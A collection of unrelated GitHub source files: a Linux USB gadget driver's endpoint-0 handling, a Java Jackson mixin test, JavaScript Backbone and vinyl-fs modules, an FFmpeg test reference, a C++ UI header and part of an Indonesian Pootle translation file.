enum usb_device_state state = bdc->gadget.state;
struct bdc_ep *ep;
u16 wValue;
u16 wIndex;
int epnum;
wValue = le16_to_cpu(setup_pkt->wValue);
wIndex = le16_to_cpu(setup_pkt->wIndex);
dev_dbg(bdc->dev,
"%s wValue=%d wIndex=%d devstate=%08x speed=%d set=%d",
__func__, wValue, wIndex, state,
bdc->gadget.speed, set);
switch (setup_pkt->bRequestType & USB_RECIP_MASK) {
case USB_RECIP_DEVICE:
return ep0_handle_feature_dev(bdc, wValue, wIndex, set);
case USB_RECIP_INTERFACE:
dev_dbg(bdc->dev, "USB_RECIP_INTERFACE\n");
/* USB3 spec, sec 9.4.9 */
if (wValue != USB_INTRF_FUNC_SUSPEND)
return -EINVAL;
/* USB3 spec, Table 9-8 */
if (set) {
if (wIndex & USB_INTRF_FUNC_SUSPEND_RW) {
dev_dbg(bdc->dev, "SET REMOTE_WAKEUP\n");
bdc->devstatus |= REMOTE_WAKE_ENABLE;
} else {
dev_dbg(bdc->dev, "CLEAR REMOTE_WAKEUP\n");
bdc->devstatus &= ~REMOTE_WAKE_ENABLE;
}
}
break;
case USB_RECIP_ENDPOINT:
dev_dbg(bdc->dev, "USB_RECIP_ENDPOINT\n");
if (wValue != USB_ENDPOINT_HALT)
return -EINVAL;
epnum = wIndex & USB_ENDPOINT_NUMBER_MASK;
if (epnum) {
if ((wIndex & USB_ENDPOINT_DIR_MASK) == USB_DIR_IN)
epnum = epnum * 2 + 1;
else
epnum *= 2;
} else {
epnum = 1; /*EP0*/
}
/*
* If CLEAR_FEATURE on ep0 then don't do anything as the stall
* condition on ep0 has already been cleared when SETUP packet
* was received.
*/
if (epnum == 1 && !set) {
dev_dbg(bdc->dev, "ep0 stall already cleared\n");
return 0;
}
dev_dbg(bdc->dev, "epnum=%d\n", epnum);
ep = bdc->bdc_ep_array[epnum];
if (!ep)
return -EINVAL;
return ep_set_halt(ep, set);
default:
dev_err(bdc->dev, "Unknown recipient\n");
return -EINVAL;
}
return 0;
}
/* GET_STATUS request handler */
static int ep0_handle_status(struct bdc *bdc,
struct usb_ctrlrequest *setup_pkt)
{
enum usb_device_state state = bdc->gadget.state;
struct bdc_ep *ep;
u16 usb_status = 0;
u32 epnum;
u16 wIndex;
/* USB2.0 spec sec 9.4.5 */
if (state == USB_STATE_DEFAULT)
return -EINVAL;
wIndex = le16_to_cpu(setup_pkt->wIndex);
dev_dbg(bdc->dev, "%s\n", __func__);
usb_status = bdc->devstatus;
switch (setup_pkt->bRequestType & USB_RECIP_MASK) {
case USB_RECIP_DEVICE:
dev_dbg(bdc->dev,
"USB_RECIP_DEVICE devstatus:%08x\n",
bdc->devstatus);
/* USB3 spec, sec 9.4.5 */
if (bdc->gadget.speed == USB_SPEED_SUPER)
usb_status &= ~REMOTE_WAKE_ENABLE;
break;
case USB_RECIP_INTERFACE:
dev_dbg(bdc->dev, "USB_RECIP_INTERFACE\n");
if (bdc->gadget.speed == USB_SPEED_SUPER) {
/*
* This should come from func for Func remote wkup
* usb_status |=1;
*/
if (bdc->devstatus & REMOTE_WAKE_ENABLE)
usb_status |= REMOTE_WAKE_ENABLE;
} else {
usb_status = 0;
}
break;
case USB_RECIP_ENDPOINT:
dev_dbg(bdc->dev, "USB_RECIP_ENDPOINT\n");
epnum = wIndex & USB_ENDPOINT_NUMBER_MASK;
if (epnum) {
if ((wIndex & USB_ENDPOINT_DIR_MASK) == USB_DIR_IN)
epnum = epnum*2 + 1;
else
epnum *= 2;
} else {
epnum = 1; /* EP0 */
}
ep = bdc->bdc_ep_array[epnum];
if (!ep) {
dev_err(bdc->dev, "ISSUE, GET_STATUS for invalid EP ?");
return -EINVAL;
}
if (ep->flags & BDC_EP_STALL)
usb_status |= 1 << USB_ENDPOINT_HALT;
break;
default:
dev_err(bdc->dev, "Unknown recipient for get_status\n");
return -EINVAL;
}
/* prepare a data stage for GET_STATUS */
dev_dbg(bdc->dev, "usb_status=%08x\n", usb_status);
*(__le16 *)bdc->ep0_response_buff = cpu_to_le16(usb_status);
bdc->ep0_req.usb_req.length = 2;
bdc->ep0_req.usb_req.buf = &bdc->ep0_response_buff;
ep0_queue_data_stage(bdc);
return 0;
}
static void ep0_set_sel_cmpl(struct usb_ep *_ep, struct usb_request *_req)
{
/* ep0_set_sel_cmpl */
}
/* Queue data stage to handle 6 byte SET_SEL request */
static int ep0_set_sel(struct bdc *bdc,
struct usb_ctrlrequest *setup_pkt)
{
struct bdc_ep *ep;
u16 wLength;
u16 wValue;
dev_dbg(bdc->dev, "%s\n", __func__);
wValue = le16_to_cpu(setup_pkt->wValue);
wLength = le16_to_cpu(setup_pkt->wLength);
if (unlikely(wLength != 6)) {
dev_err(bdc->dev, "%s Wrong wLength:%d\n", __func__, wLength);
return -EINVAL;
}
ep = bdc->bdc_ep_array[1];
bdc->ep0_req.ep = ep;
bdc->ep0_req.usb_req.length = 6;
bdc->ep0_req.usb_req.buf = bdc->ep0_response_buff;
bdc->ep0_req.usb_req.complete = ep0_set_sel_cmpl;
ep0_queue_data_stage(bdc);
return 0;
}
/*
* Queue a 0 byte bd only if wLength is more than the length and and length is
* a multiple of MaxPacket then queue 0 byte BD
*/
static int ep0_queue_zlp(struct bdc *bdc)
{
int ret;
dev_dbg(bdc->dev, "%s\n", __func__);
bdc->ep0_req.ep = bdc->bdc_ep_array[1];
bdc->ep0_req.usb_req.length = 0;
bdc->ep0_req.usb_req.complete = NULL;
bdc->ep0_state = WAIT_FOR_DATA_START;
ret = bdc_queue_xfr(bdc, &bdc->ep0_req);
if (ret) {
dev_err(bdc->dev, "err queueing zlp :%d\n", ret);
return ret;
}
bdc->ep0_state = WAIT_FOR_DATA_XMIT;
return 0;
}
/* Control request handler */
static int handle_control_request(struct bdc *bdc)
{
enum usb_device_state state = bdc->gadget.state;
struct usb_ctrlrequest *setup_pkt;
int delegate_setup = 0;
int ret = 0;
int config = 0;
setup_pkt = &bdc->setup_pkt;
dev_dbg(bdc->dev, "%s\n", __func__);
if ((setup_pkt->bRequestType & USB_TYPE_MASK) == USB_TYPE_STANDARD) {
switch (setup_pkt->bRequest) {
case USB_REQ_SET_ADDRESS:
dev_dbg(bdc->dev, "USB_REQ_SET_ADDRESS\n");
ret = ep0_set_address(bdc, setup_pkt);
bdc->devstatus &= DEVSTATUS_CLEAR;
break;
case USB_REQ_SET_CONFIGURATION:
dev_dbg(bdc->dev, "USB_REQ_SET_CONFIGURATION\n");
if (state == USB_STATE_ADDRESS) {
usb_gadget_set_state(&bdc->gadget,
USB_STATE_CONFIGURED);
} else if (state == USB_STATE_CONFIGURED) {
/*
* USB2 spec sec 9.4.7, if wValue is 0 then dev
* is moved to addressed state
*/
config = le16_to_cpu(setup_pkt->wValue);
if (!config)
usb_gadget_set_state(
&bdc->gadget,
USB_STATE_ADDRESS);
}
delegate_setup = 1;
break;
case USB_REQ_SET_FEATURE:
dev_dbg(bdc->dev, "USB_REQ_SET_FEATURE\n");
ret = ep0_handle_feature(bdc, setup_pkt, 1);
break;
case USB_REQ_CLEAR_FEATURE:
dev_dbg(bdc->dev, "USB_REQ_CLEAR_FEATURE\n");
ret = ep0_handle_feature(bdc, setup_pkt, 0);
break;
case USB_REQ_GET_STATUS:
dev_dbg(bdc->dev, "USB_REQ_GET_STATUS\n");
ret = ep0_handle_status(bdc, setup_pkt);
break;
case USB_REQ_SET_SEL:
dev_dbg(bdc->dev, "USB_REQ_SET_SEL\n");
ret = ep0_set_sel(bdc, setup_pkt);
break;
case USB_REQ_SET_ISOCH_DELAY:
dev_warn(bdc->dev,
"USB_REQ_SET_ISOCH_DELAY not handled\n");
ret = 0;
break;
default:
delegate_setup = 1;
}
} else {
delegate_setup = 1;
}
if (delegate_setup) {
spin_unlock(&bdc->lock);
ret = bdc->gadget_driver->setup(&bdc->gadget, setup_pkt);
spin_lock(&bdc->lock);
}
return ret;
}
/* EP0: Data stage started */
void bdc_xsf_ep0_data_start(struct bdc *bdc, struct bdc_sr *sreport)
{
struct bdc_ep *ep;
int ret = 0;
dev_dbg(bdc->dev, "%s\n", __func__);
ep = bdc->bdc_ep_array[1];
/* If ep0 was stalled, the clear it first */
if (ep->flags & BDC_EP_STALL) {
ret = ep_set_halt(ep, 0);
if (ret)
goto err;
}
if (bdc->ep0_state != WAIT_FOR_DATA_START)
dev_warn(bdc->dev,
"Data stage not expected ep0_state:%s\n",
ep0_state_string[bdc->ep0_state]);
ret = handle_control_request(bdc);
if (ret == USB_GADGET_DELAYED_STATUS) {
/*
* The ep0 state will remain WAIT_FOR_DATA_START till
* we received ep_queue on ep0
*/
bdc->delayed_status = true;
return;
}
if (!ret) {
bdc->ep0_state = WAIT_FOR_DATA_XMIT;
dev_dbg(bdc->dev,
"ep0_state:%s", ep0_state_string[bdc->ep0_state]);
return;
}
err:
ep0_stall(bdc);
}
/* EP0: status stage started */
void bdc_xsf_ep0_status_start(struct bdc *bdc, struct bdc_sr *sreport)
{
struct usb_ctrlrequest *setup_pkt;
struct bdc_ep *ep;
int ret = 0;
dev_dbg(bdc->dev,
"%s ep0_state:%s",
__func__, ep0_state_string[bdc->ep0_state]);
ep = bdc->bdc_ep_array[1];
/* check if ZLP was queued? */
if (bdc->zlp_needed)
bdc->zlp_needed = false;
if (ep->flags & BDC_EP_STALL) {
ret = ep_set_halt(ep, 0);
if (ret)
goto err;
}
if ((bdc->ep0_state != WAIT_FOR_STATUS_START) &&
(bdc->ep0_state != WAIT_FOR_DATA_XMIT))
dev_err(bdc->dev,
"Status stage recv but ep0_state:%s\n",
ep0_state_string[bdc->ep0_state]);
/* check if data stage is in progress ? */
if (bdc->ep0_state == WAIT_FOR_DATA_XMIT) {
bdc->ep0_state = STATUS_PENDING;
/* Status stage will be queued upon Data stage transmit event */
dev_dbg(bdc->dev,
"status started but data not transmitted yet\n");
return;
}
setup_pkt = &bdc->setup_pkt;
/*
* 2 stage setup then only process the setup, for 3 stage setup the date
* stage is already handled
*/
if (!le16_to_cpu(setup_pkt->wLength)) {
ret = handle_control_request(bdc);
if (ret == USB_GADGET_DELAYED_STATUS) {
bdc->delayed_status = true;
/* ep0_state will remain WAIT_FOR_STATUS_START */
return;
}
}
if (!ret) {
/* Queue a status stage BD */
ep0_queue_status_stage(bdc);
bdc->ep0_state = WAIT_FOR_STATUS_XMIT;
dev_dbg(bdc->dev,
"ep0_state:%s", ep0_state_string[bdc->ep0_state]);
return;
}
err:
ep0_stall(bdc);
}
/* Helper function to update ep0 upon SR with xsf_succ or xsf_short */
static void ep0_xsf_complete(struct bdc *bdc, struct bdc_sr *sreport)
{
dev_dbg(bdc->dev, "%s\n", __func__);
switch (bdc->ep0_state) {
case WAIT_FOR_DATA_XMIT:
bdc->ep0_state = WAIT_FOR_STATUS_START;
break;
case WAIT_FOR_STATUS_XMIT:
bdc->ep0_state = WAIT_FOR_SETUP;
if (bdc->test_mode) {
int ret;
dev_dbg(bdc->dev, "test_mode:%d\n", bdc->test_mode);
ret = bdc_set_test_mode(bdc);
if (ret < 0) {
dev_err(bdc->dev, "Err in setting Test mode\n");
return;
}
bdc->test_mode = 0;
}
break;
case STATUS_PENDING:
bdc_xsf_ep0_status_start(bdc, sreport);
break;
default:
dev_err(bdc->dev,
"Unknown ep0_state:%s\n",
ep0_state_string[bdc->ep0_state]);
}
}
/* xfr completion status report handler */
void bdc_sr_xsf(struct bdc *bdc, struct bdc_sr *sreport)
{
struct bdc_ep *ep;
u32 sr_status;
u8 ep_num;
ep_num = (le32_to_cpu(sreport->offset[3])>>4) & 0x1f;
ep = bdc->bdc_ep_array[ep_num];
if (!ep || !(ep->flags & BDC_EP_ENABLED)) {
dev_err(bdc->dev, "xsf for ep not enabled\n");
return;
}
/*
* check if this transfer is after link went from U3->U0 due
* to remote wakeup
*/
if (bdc->devstatus & FUNC_WAKE_ISSUED) {
bdc->devstatus &= ~(FUNC_WAKE_ISSUED);
dev_dbg(bdc->dev, "%s clearing FUNC_WAKE_ISSUED flag\n",
__func__);
}
sr_status = XSF_STS(le32_to_cpu(sreport->offset[3]));
dev_dbg_ratelimited(bdc->dev, "%s sr_status=%d ep:%s\n",
__func__, sr_status, ep->name);
switch (sr_status) {
case XSF_SUCC:
case XSF_SHORT:
handle_xsr_succ_status(bdc, ep, sreport);
if (ep_num == 1)
ep0_xsf_complete(bdc, sreport);
break;
case XSF_SETUP_RECV:
case XSF_DATA_START:
case XSF_STATUS_START:
if (ep_num != 1) {
dev_err(bdc->dev,
"ep0 related packets on non ep0 endpoint");
return;
}
bdc->sr_xsf_ep0[sr_status - XSF_SETUP_RECV](bdc, sreport);
break;
case XSF_BABB:
if (ep_num == 1) {
dev_dbg(bdc->dev, "Babble on ep0 zlp_need:%d\n",
bdc->zlp_needed);
/*
* If the last completed transfer had wLength >Data Len,
* and Len is multiple of MaxPacket,then queue ZLP
*/
if (bdc->zlp_needed) {
/* queue 0 length bd */
ep0_queue_zlp(bdc);
return;
}
}
dev_warn(bdc->dev, "Babble on ep not handled\n");
break;
default:
dev_warn(bdc->dev, "sr status not handled:%x\n", sr_status);
break;
}
}
static int bdc_gadget_ep_queue(struct usb_ep *_ep,
struct usb_request *_req, gfp_t gfp_flags)
{
struct bdc_req *req;
unsigned long flags;
struct bdc_ep *ep;
struct bdc *bdc;
int ret;
if (!_ep || !_ep->desc)
return -ESHUTDOWN;
if (!_req || !_req->complete || !_req->buf)
return -EINVAL;
ep = to_bdc_ep(_ep);
req = to_bdc_req(_req);
bdc = ep->bdc;
dev_dbg(bdc->dev, "%s ep:%p req:%p\n", __func__, ep, req);
dev_dbg(bdc->dev, "queuing request %p to %s length %d zero:%d\n",
_req, ep->name, _req->length, _req->zero);
if (!ep->usb_ep.desc) {
dev_warn(bdc->dev,
"trying to queue req %p to disabled %s\n",
_req, ep->name);
return -ESHUTDOWN;
}
if (_req->length > MAX_XFR_LEN) {
dev_warn(bdc->dev,
"req length > supported MAX:%d requested:%d\n",
MAX_XFR_LEN, _req->length);
return -EOPNOTSUPP;
}
spin_lock_irqsave(&bdc->lock, flags);
if (ep == bdc->bdc_ep_array[1])
ret = ep0_queue(ep, req);
else
ret = ep_queue(ep, req);
spin_unlock_irqrestore(&bdc->lock, flags);
return ret;
}
static int bdc_gadget_ep_dequeue(struct usb_ep *_ep,
struct usb_request *_req)
{
struct bdc_req *req;
unsigned long flags;
struct bdc_ep *ep;
struct bdc *bdc;
int ret;
if (!_ep || !_req)
return -EINVAL;
ep = to_bdc_ep(_ep);
req = to_bdc_req(_req);
bdc = ep->bdc;
dev_dbg(bdc->dev, "%s ep:%s req:%p\n", __func__, ep->name, req);
bdc_dbg_bd_list(bdc, ep);
spin_lock_irqsave(&bdc->lock, flags);
/* make sure it's still queued on this endpoint */
list_for_each_entry(req, &ep->queue, queue) {
if (&req->usb_req == _req)
break;
}
if (&req->usb_req != _req) {
spin_unlock_irqrestore(&bdc->lock, flags);
dev_err(bdc->dev, "usb_req !=req n");
return -EINVAL;
}
ret = ep_dequeue(ep, req);
if (ret) {
ret = -EOPNOTSUPP;
goto err;
}
bdc_req_complete(ep, req, -ECONNRESET);
err:
bdc_dbg_bd_list(bdc, ep);
spin_unlock_irqrestore(&bdc->lock, flags);
return ret;
}
static int bdc_gadget_ep_set_halt(struct usb_ep *_ep, int value)
{
unsigned long flags;
struct bdc_ep *ep;
struct bdc *bdc;
int ret;
ep = to_bdc_ep(_ep);
bdc = ep->bdc;
dev_dbg(bdc->dev, "%s ep:%s value=%d\n", __func__, ep->name, value);
spin_lock_irqsave(&bdc->lock, flags);
if (usb_endpoint_xfer_isoc(ep->usb_ep.desc))
ret = -EINVAL;
else if (!list_empty(&ep->queue))
ret = -EAGAIN;
else
ret = ep_set_halt(ep, value);
spin_unlock_irqrestore(&bdc->lock, flags);
return ret;
}
static struct usb_request *bdc_gadget_alloc_request(struct usb_ep *_ep,
gfp_t gfp_flags)
{
struct bdc_req *req;
struct bdc_ep *ep;
req = kzalloc(sizeof(*req), gfp_flags);
if (!req)
return NULL;
ep = to_bdc_ep(_ep);
req->ep = ep;
req->epnum = ep->ep_num;
req->usb_req.dma = DMA_ADDR_INVALID;
dev_dbg(ep->bdc->dev, "%s ep:%s req:%p\n", __func__, ep->name, req);
return &req->usb_req;
}
static void bdc_gadget_free_request(struct usb_ep *_ep,
struct usb_request *_req)
{
struct bdc_req *req;
req = to_bdc_req(_req);
kfree(req);
}
/* endpoint operations */
/* configure endpoint and also allocate resources */
static int bdc_gadget_ep_enable(struct usb_ep *_ep,
const struct usb_endpoint_descriptor *desc)
{
unsigned long flags;
struct bdc_ep *ep;
struct bdc *bdc;
int ret;
if (!_ep || !desc || desc->bDescriptorType != USB_DT_ENDPOINT) {
pr_debug("bdc_gadget_ep_enable invalid parameters\n");
return -EINVAL;
}
if (!desc->wMaxPacketSize) {
pr_debug("bdc_gadget_ep_enable missing wMaxPacketSize\n");
return -EINVAL;
}
ep = to_bdc_ep(_ep);
bdc = ep->bdc;
/* Sanity check, upper layer will not send enable for ep0 */
if (ep == bdc->bdc_ep_array[1])
return -EINVAL;
if (!bdc->gadget_driver
|| bdc->gadget.speed == USB_SPEED_UNKNOWN) {
return -ESHUTDOWN;
}
dev_dbg(bdc->dev, "%s Enabling %s\n", __func__, ep->name);
spin_lock_irqsave(&bdc->lock, flags);
ep->desc = desc;
ep->comp_desc = _ep->comp_desc;
ret = bdc_ep_enable(ep);
spin_unlock_irqrestore(&bdc->lock, flags);
return ret;
}
static int bdc_gadget_ep_disable(struct usb_ep *_ep)
{
unsigned long flags;
struct bdc_ep *ep;
struct bdc *bdc;
int ret;
if (!_ep) {
pr_debug("bdc: invalid parameters\n");
return -EINVAL;
}
ep = to_bdc_ep(_ep);
bdc = ep->bdc;
/* Upper layer will not call this for ep0, but do a sanity check */
if (ep == bdc->bdc_ep_array[1]) {
dev_warn(bdc->dev, "%s called for ep0\n", __func__);
return -EINVAL;
}
dev_dbg(bdc->dev,
"%s() ep:%s ep->flags:%08x\n",
__func__, ep->name, ep->flags);
if (!(ep->flags & BDC_EP_ENABLED)) {
dev_warn(bdc->dev, "%s is already disabled\n", ep->name);
return 0;
}
spin_lock_irqsave(&bdc->lock, flags);
ret = bdc_ep_disable(ep);
spin_unlock_irqrestore(&bdc->lock, flags);
return ret;
}
static const struct usb_ep_ops bdc_gadget_ep_ops = {
.enable = bdc_gadget_ep_enable,
.disable = bdc_gadget_ep_disable,
.alloc_request = bdc_gadget_alloc_request,
.free_request = bdc_gadget_free_request,
.queue = bdc_gadget_ep_queue,
.dequeue = bdc_gadget_ep_dequeue,
.set_halt = bdc_gadget_ep_set_halt
};
/* dir = 1 is IN */
static int init_ep(struct bdc *bdc, u32 epnum, u32 dir)
{
struct bdc_ep *ep;
dev_dbg(bdc->dev, "%s epnum=%d dir=%d\n", __func__, epnum, dir);
ep = kzalloc(sizeof(*ep), GFP_KERNEL);
if (!ep)
return -ENOMEM;
ep->bdc = bdc;
ep->dir = dir;
if (dir)
ep->usb_ep.caps.dir_in = true;
else
ep->usb_ep.caps.dir_out = true;
/* ep->ep_num is the index inside bdc_ep */
if (epnum == 1) {
ep->ep_num = 1;
bdc->bdc_ep_array[ep->ep_num] = ep;
snprintf(ep->name, sizeof(ep->name), "ep%d", epnum - 1);
usb_ep_set_maxpacket_limit(&ep->usb_ep, EP0_MAX_PKT_SIZE);
ep->usb_ep.caps.type_control = true;
ep->comp_desc = NULL;
bdc->gadget.ep0 = &ep->usb_ep;
} else {
if (dir)
ep->ep_num = epnum * 2 - 1;
else
ep->ep_num = epnum * 2 - 2;
bdc->bdc_ep_array[ep->ep_num] = ep;
snprintf(ep->name, sizeof(ep->name), "ep%d%s", epnum - 1,
dir & 1 ? "in" : "out");
usb_ep_set_maxpacket_limit(&ep->usb_ep, 1024);
ep->usb_ep.caps.type_iso = true;
ep->usb_ep.caps.type_bulk = true;
ep->usb_ep.caps.type_int = true;
ep->usb_ep.max_streams = 0;
list_add_tail(&ep->usb_ep.ep_list, &bdc->gadget.ep_list);
}
ep->usb_ep.ops = &bdc_gadget_ep_ops;
ep->usb_ep.name = ep->name;
ep->flags = 0;
ep->ignore_next_sr = false;
dev_dbg(bdc->dev, "ep=%p ep->usb_ep.name=%s epnum=%d ep->epnum=%d\n",
ep, ep->usb_ep.name, epnum, ep->ep_num);
INIT_LIST_HEAD(&ep->queue);
return 0;
}
/* Init all ep */
int bdc_init_ep(struct bdc *bdc)
{
u8 epnum;
int ret;
dev_dbg(bdc->dev, "%s()\n", __func__);
INIT_LIST_HEAD(&bdc->gadget.ep_list);
/* init ep0 */
ret = init_ep(bdc, 1, 0);
if (ret) {
dev_err(bdc->dev, "init ep ep0 fail %d\n", ret);
return ret;
}
for (epnum = 2; epnum <= bdc->num_eps / 2; epnum++) {
/* OUT */
ret = init_ep(bdc, epnum, 0);
if (ret) {
dev_err(bdc->dev,
"init ep failed for:%d error: %d\n",
epnum, ret);
return ret;
}
/* IN */
ret = init_ep(bdc, epnum, 1);
if (ret) {
dev_err(bdc->dev,
"init ep failed for:%d error: %d\n",
epnum, ret);
return ret;
}
}
return 0;
}
|
{
"pile_set_name": "Github"
}
|
/*
* Copyright 2014 Nicolas Morel
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package com.github.nmorel.gwtjackson.jackson.mixins;
import com.github.nmorel.gwtjackson.jackson.AbstractJacksonTest;
import com.github.nmorel.gwtjackson.shared.mixins.MixinDeserForMethodsTester;
import com.github.nmorel.gwtjackson.shared.mixins.MixinDeserForMethodsTester.BaseClass;
import com.github.nmorel.gwtjackson.shared.mixins.MixinDeserForMethodsTester.MixIn;
import org.junit.Test;
/**
* @author Nicolas Morel
*/
public class MixinDeserForMethodsJacksonTest extends AbstractJacksonTest {
@Test
public void testWithAnySetter() {
objectMapper.addMixIn( BaseClass.class, MixIn.class );
MixinDeserForMethodsTester.INSTANCE.testWithAnySetter( createReader( BaseClass.class ) );
}
}
|
{
"pile_set_name": "Github"
}
|
const Backbone = require('backbone');
const checkAndBuildOpts = require('builder/helpers/required-opts');
const REQUIRED_OPTS = [
'configModel'
];
module.exports = Backbone.Model.extend({
defaults: {
projects: []
},
url: function () {
const version = this._configModel.urlVersion('connectors');
const baseUrl = this._configModel.get('base_url');
return baseUrl + '/api/' + version + '/connectors/bigquery/projects';
},
parse: function (response, options) {
this.set('projects', response);
},
initialize: function (attrs, opts) {
checkAndBuildOpts(opts, REQUIRED_OPTS, this);
}
});
|
{
"pile_set_name": "Github"
}
|
#tb 0: 1/25
#media_type 0: video
#codec_id 0: rawvideo
#dimensions 0: 416x240
#sar 0: 0/1
0, 0, 0, 1, 149760, 0x1613b277
0, 1, 1, 1, 149760, 0xf92d5543
0, 2, 2, 1, 149760, 0xf119ba8e
0, 3, 3, 1, 149760, 0xbce35d0a
0, 4, 4, 1, 149760, 0x0f4dc325
0, 5, 5, 1, 149760, 0xc95379ae
0, 6, 6, 1, 149760, 0xbf4e9b84
0, 7, 7, 1, 149760, 0x3a7c3cdf
0, 8, 8, 1, 149760, 0x8d5e8895
0, 9, 9, 1, 149760, 0x3128397e
0, 10, 10, 1, 149760, 0x4389dee6
0, 11, 11, 1, 149760, 0x8a6a7236
0, 12, 12, 1, 149760, 0x638049ef
0, 13, 13, 1, 149760, 0x0075da54
0, 14, 14, 1, 149760, 0x5fd84a25
0, 15, 15, 1, 149760, 0xfbd4af2b
|
{
"pile_set_name": "Github"
}
|
'use strict';
var defaults = require('defaults');
var through = require('through2');
var gs = require('glob-stream');
var File = require('vinyl');
var getContents = require('./getContents');
var getStats = require('./getStats');
function createFile (globFile, enc, cb) {
cb(null, new File(globFile));
}
function src(glob, opt) {
opt = opt || {};
var pass = through.obj();
if (!isValidGlob(glob)) {
throw new Error('Invalid glob argument: ' + glob);
}
// return dead stream if empty array
if (Array.isArray(glob) && glob.length === 0) {
process.nextTick(pass.end.bind(pass));
return pass;
}
var options = defaults(opt, {
read: true,
buffer: true
});
var globStream = gs.create(glob, options);
// when people write to use just pass it through
var outputStream = globStream
.pipe(through.obj(createFile))
.pipe(getStats(options));
if (options.read !== false) {
outputStream = outputStream
.pipe(getContents(options));
}
return outputStream.pipe(pass);
}
function isValidGlob(glob) {
if (typeof glob === 'string') {
return true;
}
if (Array.isArray(glob) && glob.length !== 0) {
return glob.every(isValidGlob);
}
if (Array.isArray(glob) && glob.length === 0) {
return true;
}
return false;
}
module.exports = src;
|
{
"pile_set_name": "Github"
}
|
function test(chart) { // eslint-disable-line no-unused-vars
chart.getSVG = function () {
return chart.container.innerHTML;
};
}
|
{
"pile_set_name": "Github"
}
|
#pragma once
#include <list>
#include "View.h"
#include <common.h>
#include <render/RenderSystem.h>
namespace UI
{
class PrintScreenMessages : public View
{
public:
PrintScreenMessages(Engine::BaseEngine& e);
~PrintScreenMessages();
/**
* Updates/draws the UI-Views
* @param dt time since last frame
* @param mstate mouse-state
*/
void update(double dt, Engine::Input::MouseState& mstate, Render::RenderConfig& config) override;
/**
* Prints a message to the screen
*/
void printMessage(const std::string& message);
/**
* Prints a timed message at the given position
* @param percx Percentage (0..1) of the x axis
* @param percy Percentage (0..1) of the y axis
* @param message Message to display
* @param time Time to stay in seconds
*/
void printMessageTimed(float percx, float percy, const std::string& message, double time);
protected:
/**
* Draws all timed messages
*/
void drawTimedMessages(double dt, Render::RenderConfig& config);
/**
* Messages displayed on-screen for some time
*/
enum
{
MAX_NUM_MESSAGES = 5
};
std::list<std::string> m_PrintMessages;
double m_TimeToPopMessage;
/**
* List of currently active timed messages
*/
struct TimedMessage
{
double timeLeft;
float x, y;
std::string message;
};
std::list<TimedMessage> m_TimedMessages;
};
}
|
{
"pile_set_name": "Github"
}
|
# Copyright (C) Pootle contributors.
#
# This file is a part of the Pootle project. It is distributed under the GPL3
# or later license. See the LICENSE file for a copy of the license and the
# AUTHORS file for copyright and authorship information.
#
msgid ""
msgstr ""
"Project-Id-Version: Pootle 2.7.0\n"
"Report-Msgid-Bugs-To: https://github.com/translate/pootle/issues/new\n"
"POT-Creation-Date: 2017-06-13 15:55+0100\n"
"PO-Revision-Date: 2016-11-04 10:15+0000\n"
"Last-Translator: z-fikar <zulfikar97@gmail.com>\n"
"Language-Team: LANGUAGE <LL@li.org>\n"
"Language: id\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: Pootle 2.5.1-rc1\n"
"X-POOTLE-MTIME: 1478254542.000000\n"
#: static/js/admin/components/AdminController.js:136
msgid "Saved successfully."
msgstr ""
#: static/js/admin/components/AdminController.js:144
msgid "Deleted successfully."
msgstr ""
#: static/js/admin/components/ItemDelete.js:53
msgid "Delete"
msgstr ""
#: static/js/admin/components/Language/LanguageAdd.js:28
#: static/js/admin/components/Language/LanguageEdit.js:33
#, fuzzy
msgid "Add Language"
msgstr "Semua Bahasa"
#: static/js/admin/components/Language/LanguageAdd.js:33
#: static/js/admin/components/Project/ProjectAdd.js:33
#: static/js/admin/components/User/UserAdd.js:33
msgid "Cancel"
msgstr ""
#: static/js/admin/components/Language/LanguageController.js:59
#, python-format
msgid "%(count)s language matches your query."
msgid_plural "%(count)s languages match your query."
msgstr[0] ""
#: static/js/admin/components/Language/LanguageController.js:63
#, python-format
msgid "There is %(count)s language."
msgid_plural ""
"There are %(count)s languages. Below are the most recently added ones."
msgstr[0] ""
#: static/js/admin/components/Language/LanguageController.js:79
msgid "Search Languages"
msgstr ""
#: static/js/admin/components/Language/LanguageController.js:80
msgid "Find language by name, code"
msgstr ""
#: static/js/admin/components/Language/LanguageEdit.js:28
msgid "Edit Language"
msgstr ""
#: static/js/admin/components/Language/LanguageEdit.js:38
msgid ""
"Use the search form to find the language, then click on a language to edit."
msgstr ""
#: static/js/admin/components/Language/LanguageForm.js:54
#: static/js/admin/components/Project/ProjectForm.js:56
msgid "Code"
msgstr ""
#: static/js/admin/components/Language/LanguageForm.js:61
#: static/js/admin/components/Project/ProjectForm.js:63
#: static/js/admin/components/User/UserForm.js:91
#: static/js/user/components/UserProfileForm.js:74
msgid "Full Name"
msgstr ""
#: static/js/admin/components/Language/LanguageForm.js:68
msgid "Special Characters"
msgstr ""
#: static/js/admin/components/Language/LanguageForm.js:78
msgid "Number of Plurals"
msgstr ""
#: static/js/admin/components/Language/LanguageForm.js:85
msgid "Plural Equation"
msgstr ""
#: static/js/admin/components/Language/LanguageForm.js:97
#: static/js/admin/components/Project/ProjectForm.js:144
#: static/js/admin/components/User/UserForm.js:156
#: static/js/user/components/UserProfileForm.js:132
msgid "Save"
msgstr ""
#: static/js/admin/components/Language/LanguageForm.js:101
#: static/js/admin/components/Project/ProjectForm.js:148
msgid "Overview"
msgstr ""
#: static/js/admin/components/Language/LanguageForm.js:102
msgid "Team"
msgstr ""
#: static/js/admin/components/Project/ProjectAdd.js:28
#: static/js/admin/components/Project/ProjectEdit.js:33
#, fuzzy
msgid "Add Project"
msgstr "Semua Projek"
#: static/js/admin/components/Project/ProjectController.js:59
#, python-format
msgid "%(count)s project matches your query."
msgid_plural "%(count)s projects match your query."
msgstr[0] ""
#: static/js/admin/components/Project/ProjectController.js:63
#, python-format
msgid "There is %(count)s project."
msgid_plural ""
"There are %(count)s projects. Below are the most recently added ones."
msgstr[0] ""
#: static/js/admin/components/Project/ProjectController.js:79
msgid "Search Projects"
